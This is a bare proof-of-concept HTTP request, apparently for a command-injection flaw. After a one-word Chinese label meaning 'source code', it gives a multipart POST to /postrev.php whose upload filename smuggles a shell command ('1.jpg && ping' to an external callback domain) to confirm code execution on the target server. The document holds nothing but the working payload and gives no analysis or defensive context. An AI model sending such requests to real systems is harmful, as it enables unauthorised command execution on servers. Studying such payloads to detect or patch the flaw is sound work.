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源码 
POST /postrev.php HTTP/1.1 
Host:
Content-Length: 252
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary4x5B9V0rUBOl9UnJ 
Connection: close

------WebKitFormBoundary4x5B9V0rUBOl9UnJ
Content-Disposition: form-data; name="filename"; filename="1.jpg && ping dtq9.callback.red" 
Content-Type: image/jpeg


------WebKitFormBoundary4x5B9V0rUBOl9UnJ--